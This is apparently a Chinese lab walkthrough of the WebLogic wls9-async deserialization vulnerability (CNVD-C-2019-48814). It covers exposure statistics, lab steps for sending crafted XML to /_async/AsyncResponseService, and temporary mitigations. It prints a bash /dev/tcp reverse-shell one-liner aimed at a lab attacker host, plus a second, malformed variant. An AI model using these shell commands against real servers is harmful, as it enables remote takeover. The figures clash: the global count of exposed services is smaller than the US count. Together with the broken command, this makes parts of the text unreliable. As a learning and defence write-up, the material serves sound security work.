0X01 Weblogic组件介绍
WebLogic是美国Oracle公司出品的一个Application Server,确切的说是一个基于JAVAEE架构的中间件,是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
WebLogic将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。是商业市场上主要的Java(J2EE)应用服务器软件(Application Server)之一,是世界上第一个成功商业化的J2EE应用服务器,具有可扩展性,快速开发,灵活,可靠性等优势。
根据FOFA的数据统计,全球共有23024个开放的weblogic服务。其中美国最多,有129583个开放服务。其次是中国,有28772个开放的weblogic服务。德国排第三,有22352个开放的weblogic服务。新加坡有18473个开放的weblogic服务。英国有15980个开放的weblogic服务。
国内的weblogic服务分布如下,北京最多,有6824个服务,浙江有4805个服务,山东有985个服务,广东有801个服务,上海有778个服务。
CNVD-C-2019-48814漏洞主要是利用了WebLogic中的wls9-async组件,攻击者可以在
/_async/AsyncResponseService路径下传入恶意的xml格式的数据,传入的数据在服务器端反序列化时,执行其中的恶意代码,实现远程命令执行,攻击者可以进而获得整台服务器的权限。
WebLogic 10.*
WebLogic 12.1.3.0
环境描述:
靶机:192.168.47.140(必须使用linux系统,weblogic10.3.6.0)
攻击:192.168.47.142(kali)
1. 确定目标系统对外开放/_async/AsyncResponseService路径,存在此漏洞。
2. kali本地监听9999端口
3. 传入构造好额xml数据进行攻击。提交
4. kali显示攻击成功
5. 执行命令
备注:为什么bash -i>& /dev/tcp/192.168.47.142/9999 0>&1命令?
反弹shell命令:bash -i >&/dev/tcp/192.168.190.138/66660>&1
所以整句话的意思就是把当前运行weblogic的bash反弹到192.168.47.142的9999端口上。
官方暂未发布针对此漏洞的修复补丁,在官方修复之前,可以采取以下方式进行临时防护:
(1)配置URL访问策略
通过访问控制策略禁止对/_async/*路径的访问。
(2)删除war文件及相关文件夹,并重启Weblogic服务。
具体路径如下:
版本号为10.3.*:
\Middleware\wlserver_10.3\server\lib\bea_wls9_async_response.war
%DOMAIN_HOME%\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\
%DOMAIN_HOME%\servers\AdminServer\tmp\.internal\bea_wls9_async_response.war
版本号为12.1.3:
\Middleware\Oracle_Home\oracle_common\modules\com.oracle.webservices.wls.bea-wls9-async-response_12.1.3.war
%DOMAIN_HOME%\servers\AdminServer\tmp\.internal\com.oracle.webservices.wls.bea-wls9-async-response_12.1.3.war
%DOMAIN_HOME%\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.bea-wls9-async-response_12.1.3